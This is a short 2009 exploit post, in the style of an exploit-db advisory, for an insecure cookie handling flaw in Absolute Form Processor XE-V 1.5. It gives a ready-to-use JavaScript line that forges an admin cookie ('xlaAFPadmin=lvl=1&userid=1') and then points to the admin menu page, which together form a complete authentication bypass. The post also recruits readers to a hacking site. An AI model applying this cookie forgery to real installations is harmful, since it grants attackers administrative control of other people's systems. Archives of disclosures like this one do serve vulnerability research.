Absolute Form Processor XE-V 1.5 Insecure Cookie

`[~] Absolute Form Processor XE-V 1.5 Insecure Cookie Handling Vuln  
[~]  
[~] ----------------------------------------------------------  
[~] Discovered By: ZoRLu  
[~]  
[~] Date: 11.04.2009  
[~]  
[~] Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com  
[~]  
[~] msn: [email protected]  
[~]   
[~] N0T: Herkes Hecker Olmus :S  
[~]  
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com  
[~] -----------------------------------------------------------  
  
exploit:   
  
javascript:document.cookie = "xlaAFPadmin=lvl=1&userid=1; path=/";  
  
after you go here:  
  
http://www.xigla.com/absolutefp/demo/menu.asp  
  
  
[~]----------------------------------------------------------------------  
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone  
[~]  
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org / dafgamers.com  
[~]  
[~]----------------------------------------------------------------------  
  
  
`